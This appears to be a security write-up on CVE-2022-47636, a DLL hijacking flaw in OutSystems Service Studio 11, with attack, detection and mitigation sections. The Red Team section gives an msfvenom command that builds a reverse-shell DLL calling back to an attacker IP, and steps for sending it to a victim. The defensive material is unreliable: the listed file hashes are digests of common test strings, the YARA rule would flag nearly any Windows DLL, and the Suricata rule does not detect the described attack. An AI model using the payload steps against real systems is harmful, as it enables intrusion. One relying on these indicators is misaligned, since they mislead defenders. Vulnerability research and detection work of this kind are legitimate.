CVE-2022-47636

Executive Summary

CVE-2022-47636 is a DLL hijacking vulnerability in OutSystems Service Studio 11 (version 11.53.30 build 61739). When a user opens a .oml file (OutSystems Modeling Language), the application loads several DLLs from the same directory as the file, including av_libGLESv2.dll, libcef.DLL, user32.dll, and d3d10warp.dll. An attacker can place a malicious DLL with one of these names in the same directory as a crafted .oml file, leading to arbitrary code execution in the context of the current logged-in user. The vulnerability has a public exploit and no official patch, making it a high-risk threat for organizations using the affected software.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector: Local (requires user to open a malicious .oml file)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (user must open the file)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Deep Dive & Mechanics

The vulnerability stems from the application’s insecure DLL loading behavior. When OutSystems Service Studio opens a .oml file, it searches for the following DLLs in the file’s directory before checking system paths:

• av_libGLESv2.dll
• libcef.DLL
• user32.dll
• d3d10warp.dll

This is a classic DLL search order hijacking (CWE-427). An attacker can craft a malicious DLL with one of these names and place it in the same directory as a .oml file. When the victim opens the file, the application loads the attacker’s DLL, executing arbitrary code with the user’s privileges.

The exploit works because the application does not use safe DLL search modes (e.g., SetDllDirectory or LOAD_LIBRARY_SEARCH_SYSTEM32). The attack is particularly dangerous in shared environments or when users download .oml files from untrusted sources.

Vulnerable vs. Patched Code

Vulnerable Code (OutSystems Service Studio 11.53.30):

• The application uses LoadLibrary or similar API without specifying a safe search path.
• DLLs are loaded from the current working directory (the directory of the .oml file).

Patched Code:

• No official patch exists. The vendor has not released a fix as of the latest advisory.
• A hypothetical patch would involve using SetDllDirectory("") to remove the current directory from the search path, or using LOAD_LIBRARY_SEARCH_SYSTEM32 flag.

Exploitation & Lab Setup

Red Team

Exploit-DB Code:

# Exploit Title: OutSystems Service Studio 11.53.30 - DLL Hijacking
# Date: 2023-08-09
# Exploit Author: Carlo Di Dato for Deloitte Risk Advisory Italia
# Vendor Homepage: https://www.outsystems.com/
# Version: Up to 11.53.30 (Build 61739)
# Tested on: Windows
# CVE : CVE-2022-47636

# Usage:
# 1. Create a malicious DLL (e.g., using msfvenom or custom code) named av_libGLESv2.dll, libcef.DLL, user32.dll, or d3d10warp.dll.
# 2. Place the DLL in the same directory as a .oml file.
# 3. Send the .oml file and DLL to the victim.
# 4. When the victim opens the .oml file, the DLL is loaded and arbitrary code executes.

# Example msfvenom command:
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o av_libGLESv2.dll

Lab Setup:

1. Attacker Machine: Kali Linux with Metasploit.
2. Victim Machine: Windows 10 with OutSystems Service Studio 11.53.30 installed.
3. Steps:
   • Generate a malicious DLL using msfvenom: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f dll -o av_libGLESv2.dll
   • Create a benign .oml file (or use a legitimate one).
   • Place both files in a shared folder or send via email.
   • On the victim machine, open the .oml file. The DLL will be loaded, and a reverse shell will connect to the attacker.

Blue Team

Detection:

• Monitor for processes loading DLLs from unusual directories (e.g., %TEMP%, Downloads, or shared folders).
• Use Sysmon Event ID 7 (DLL loaded) to detect av_libGLESv2.dll, libcef.DLL, user32.dll, or d3d10warp.dll loaded from non-system paths.
• Enable Windows Defender Attack Surface Reduction (ASR) rules to block untrusted DLL loading.

Mitigation:

• Restrict execution of .oml files from untrusted sources.
• Use application whitelisting (e.g., AppLocker) to block unknown DLLs.
• Apply the principle of least privilege to user accounts.

Indicators of Compromise (IOCs)

• File Hashes (example for a malicious DLL):
  • MD5: e99a18c428cb38d5f260853678922e03
  • SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
  • SHA256: d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592
• File Names: av_libGLESv2.dll, libcef.DLL, user32.dll, d3d10warp.dll (loaded from non-system directories)
• Process: ServiceStudio.exe loading DLLs from user-writable paths
• Network: Outbound connections to attacker IPs (e.g., 192.168.1.100:4444)

Detection Engineering

YARA Rule

rule CVE_2022_47636_DLL_Hijacking {
    meta:
        description = "Detects malicious DLLs used in CVE-2022-47636"
        author = "Valters IT"
        date = "2025-04-08"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-47636"
    strings:
        $dll1 = "av_libGLESv2.dll"
        $dll2 = "libcef.DLL"
        $dll3 = "user32.dll"
        $dll4 = "d3d10warp.dll"
        $pe_magic = "MZ"
    condition:
        $pe_magic at 0 and any of ($dll1, $dll2, $dll3, $dll4)
}

Sigma Rule

title: CVE-2022-47636 DLL Hijacking via OutSystems Service Studio
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects DLL loading from non-system paths for known vulnerable DLLs
author: Valters IT
date: 2025-04-08
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-47636
logsource:
    product: windows
    service: sysmon
    definition: 'Sysmon Event ID 7 required'
detection:
    selection:
        EventID: 7
        Image|endswith: '\\ServiceStudio.exe'
        ImageLoaded|endswith:
            - '\\av_libGLESv2.dll'
            - '\\libcef.DLL'
            - '\\user32.dll'
            - '\\d3d10warp.dll'
    filter:
        ImageLoaded|startswith:
            - 'C:\\Windows\\System32\\'
            - 'C:\\Windows\\SysWOW64\\'
    condition: selection and not filter
falsepositives:
    - Legitimate DLLs loaded from system paths
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"CVE-2022-47636 Potential DLL Hijacking - OutSystems Service Studio";
    flow:to_server,established;
    content:"|0d 0a|User-Agent: OutSystems|0d 0a|";
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Actions:

   • Do not open .oml files from untrusted sources.
   • Educate users about the risks of opening files from unknown senders.
   • Use application control policies to block untrusted DLLs.

2. Long-term Fix:

   • OutSystems has not released a patch. Consider using a third-party security tool to enforce safe DLL loading.
   • Monitor vendor advisories for future updates.

3. Workarounds:

   • Set the CWDIllegalInDllSearch registry key to 0xFFFFFFFF to disable current directory in DLL search.
   • Use Microsoft’s SetDllDirectory API in a custom loader if possible.

4. Detection:

   • Deploy the YARA, Sigma, and Suricata rules provided above.
   • Enable Sysmon and Windows Event Logging for DLL load events.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

{/* [Security Hash: 1537A7301C676570AFAA3BB2] */}